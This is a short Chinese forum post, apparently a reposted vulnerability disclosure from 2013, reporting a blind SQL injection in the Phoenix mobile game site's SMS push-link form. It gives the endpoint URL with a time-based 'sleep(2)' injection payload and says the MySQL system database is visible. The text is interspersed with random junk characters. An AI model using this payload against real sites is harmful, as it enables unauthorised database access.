简要描述：
2 ~2 k: j4 U& b. y3 ^4 \+ X1 i凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。
, V, j+ r( @- Z' C, i D3 r; c Y$ d/ l
/ z6 L+ X+ B! b% Z- l' U) A* R详细说明：1 L% h G k& o, i2 G9 [7 O
存在SQL盲注url:4 Z$ P# k0 @5 O+ _3 s
fenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1
d( q" s$ m8 t+ lhttp://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png5 D( v$ g1 j2 a- L# d
http://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png/ N) E5 ^: h3 q, c$ l/ S1 C
http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg
% h. P* ] {, p3 S& w2 u1 g) W( W# r
" C; G1 Q* B& L2 j* o# v能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对